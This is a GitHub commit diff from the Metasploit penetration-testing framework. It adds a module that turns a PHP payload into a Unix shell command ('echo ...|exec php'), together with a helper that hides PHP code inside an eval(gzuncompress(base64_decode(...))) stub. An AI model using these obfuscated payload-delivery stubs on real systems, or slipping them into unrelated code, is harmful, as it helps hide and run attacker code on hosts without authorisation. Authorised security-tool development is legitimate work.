Skip to content

Commit a25bd39

Browse files
committed
Add an ARCH_PHP -> ARCH_CMD adapter
1 parent 35de45e commit a25bd39

File tree

5 files changed

+69
-9
lines changed

5 files changed

+69
-9
lines changed

lib/msf/core/payload/php.rb

Lines changed: 11 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -136,9 +136,18 @@ def php_system_block(options = {})
136136

137137
exec_methods = [passthru, shell_exec, system, exec, proc_open, popen]
138138
exec_methods = exec_methods.shuffle
139-
buf = setup + exec_methods.join("") + fail_block
139+
setup + exec_methods.join("") + fail_block
140+
end
140141

141-
return buf
142+
def self.create_exec_stub(php_code, wrap_in_tags: true)
143+
payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(php_code))
144+
b64_stub = "eval(gzuncompress(base64_decode('#{payload}')));"
145+
b64_stub = "<?php #{b64_stub} ?>" if wrap_in_tags
146+
b64_stub
147+
end
142148

149+
def php_create_exec_stub(php_code)
150+
Msf::Payload::PHP.create_exec_stub(php_code)
143151
end
152+
144153
end

lib/msf/core/payload/php/send_uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ def php_send_uuid(opts={})
1717
sock_var = opts[:sock_var] || '$s'
1818
sock_type = opts[:sock_type] || '$s_type'
1919

20-
uuid = opts[:uuid] || generate_payload_uuid
20+
uuid = opts[:uuid] || generate_payload_uuid(arch: ARCH_PHP, platform: 'php')
2121
uuid_raw = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('')
2222

2323
php = %Q^$u="#{uuid_raw}";

lib/msf/core/payload/python.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -8,18 +8,18 @@ module Msf::Payload::Python
88
# one line and compatible with all Python versions supported by the Python
99
# Meterpreter stage.
1010
#
11-
# @param cmd [String] The python code to execute.
11+
# @param python_code [String] The python code to execute.
1212
# @return [String] Full python stub to execute the command.
1313
#
14-
def self.create_exec_stub(cmd)
14+
def self.create_exec_stub(python_code)
1515
# Encoding is required in order to handle Python's formatting
16-
payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(cmd))
16+
payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(python_code))
1717
b64_stub = "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{payload}')[0])))"
1818
b64_stub
1919
end
2020

21-
def py_create_exec_stub(cmd)
22-
Msf::Payload::Python.create_exec_stub(cmd)
21+
def py_create_exec_stub(python_code)
22+
Msf::Payload::Python.create_exec_stub(python_code)
2323
end
2424

2525
end
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
include Msf::Payload::Adapter
8+
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'PHP Exec',
14+
'Description' => 'Execute a PHP payload as an OS command from a Posix-compatible shell',
15+
'Author' => 'Spencer McIntyre',
16+
'Platform' => 'unix',
17+
'Arch' => ARCH_CMD,
18+
'License' => MSF_LICENSE,
19+
'AdaptedArch' => ARCH_PHP,
20+
'AdaptedPlatform' => 'php'
21+
)
22+
)
23+
end
24+
25+
def compatible?(mod)
26+
if mod.type == Msf::MODULE_PAYLOAD && (mod.class.const_defined?(:CachedSize) && mod.class::CachedSize != :dynamic) && (mod.class::CachedSize >= 120_000) # echo does not have an unlimited amount of space
27+
return false
28+
end
29+
30+
super
31+
end
32+
33+
def include_send_uuid
34+
true
35+
end
36+
37+
def generate(_opts = {})
38+
payload = super
39+
40+
escaped_exec_stub = Shellwords.escape(Msf::Payload::Php.create_exec_stub(payload))
41+
42+
if payload.include?("\n")
43+
escaped_payload = escaped_exec_stub
44+
else
45+
# pick the shorter one
46+
escaped_payload = [Shellwords.escape(payload), escaped_exec_stub].min_by(&:length)
47+
end
48+
49+
"echo #{escaped_payload}|exec php"
50+
end
51+
end

modules/payloads/adapters/cmd/unix/python.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ def initialize(info = {})
1111
update_info(
1212
info,
1313
'Name' => 'Python Exec',
14-
'Description' => 'Execute a Python payload from a command',
14+
'Description' => 'Execute a Python payload as an OS command from a Posix-compatible shell',
1515
'Author' => 'Spencer McIntyre',
1616
'Platform' => 'unix',
1717
'Arch' => ARCH_CMD,

0 commit comments

Comments
 (0)